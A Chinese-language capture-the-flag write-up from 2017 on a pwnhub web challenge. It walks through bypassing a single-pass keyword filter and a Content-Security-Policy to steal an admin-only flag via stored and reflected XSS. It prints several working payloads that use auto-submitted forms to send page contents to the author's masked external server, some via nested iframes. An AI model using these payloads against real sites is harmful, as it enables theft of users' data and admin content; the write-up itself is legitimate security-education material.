2017年4月

题目地址:https://pwnhub.cn/gamedetail?id=13

测试过程

注册之后有个留言板,有CSP(不允许对外发送请求),经过测试只过滤一次某些单次,如:on,oonn就能过。

用表单来绕过csp返回页面到我的服务器上,看到提示
poc:

<imong src=x oonnerror="var htmlstr = document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub1'+ escape(htmlstr)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')">

转码后发现提示( http://zone.secevery.com/code/index.html 在线编码转码...之前写的辣鸡程序...)

1.png

访问http://52.80.63.91/adminshigesha233e3333/ 提示 flag.php

2.png

访问flag.php 提示只有admin能看....

3.png

尝试盲打admin返回flag.php的内容.
poc:

<imong src=x oonnerror="$.get('/adminshigesha233e3333/flag.php', functioonn(data){$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/'+ escape(data)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')})">

4.png

提示nothing here,╮(╯-╰)╭,what ever you try, only from adminshigesha233e3333 can read it...

得到url http://52.80.63.91/adminshigesha233e3333/

PS:在这里卡了一天多,在各种尝试加header访问,get访问,post访问,各种蛋疼,测到半夜的时候题目后端挂了...
继续回到我们开始拿到的提示urlhttp://52.80.63.91/adminshigesha233e3333/#admin
查看源码:

5.png

发现可以xss,并且页面有设置csp规则Content-Security-Policy:default-src 'self'; script-src 'nonce-9VyGxnyKcfU4';
再看看提示说在adminshigesha233e3333才可以读取到内容,我又在这里卡了很久,我以为这里是个文件读取漏洞...后来忽然想起这里有个反射xss,又有csp。于是把思路放到用xss来读取flag.php上。
poc:

<iframe name=aa src="./adminshigesha233e3333/#admin%3Ciframe id=hh%20src%3D./flag.php name=bb></iframe>" oonnload="var str = window.frames.aa.frameElement.coonntentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub'+ escape(str)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')"></iframe>

6.png

成功拿到flag...感谢佳佳前端大佬的帮助...卡在两层iframe好久...后来去问了下前端大佬,她说可以在父iframe读取子iframe的内容。

7.png

  • firefox 下获取iframe内容
    document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;
  • firefox 下等待页面加载完毕再获取iframe里面的内容
    window.onload=function(){var str = document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;}
  • 获取iframe 二层内容
    window.frames.aa.frameElement.contentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML

最后的最后再次感谢下佳佳前端大佬还有出题的师傅,真的被虐哭了。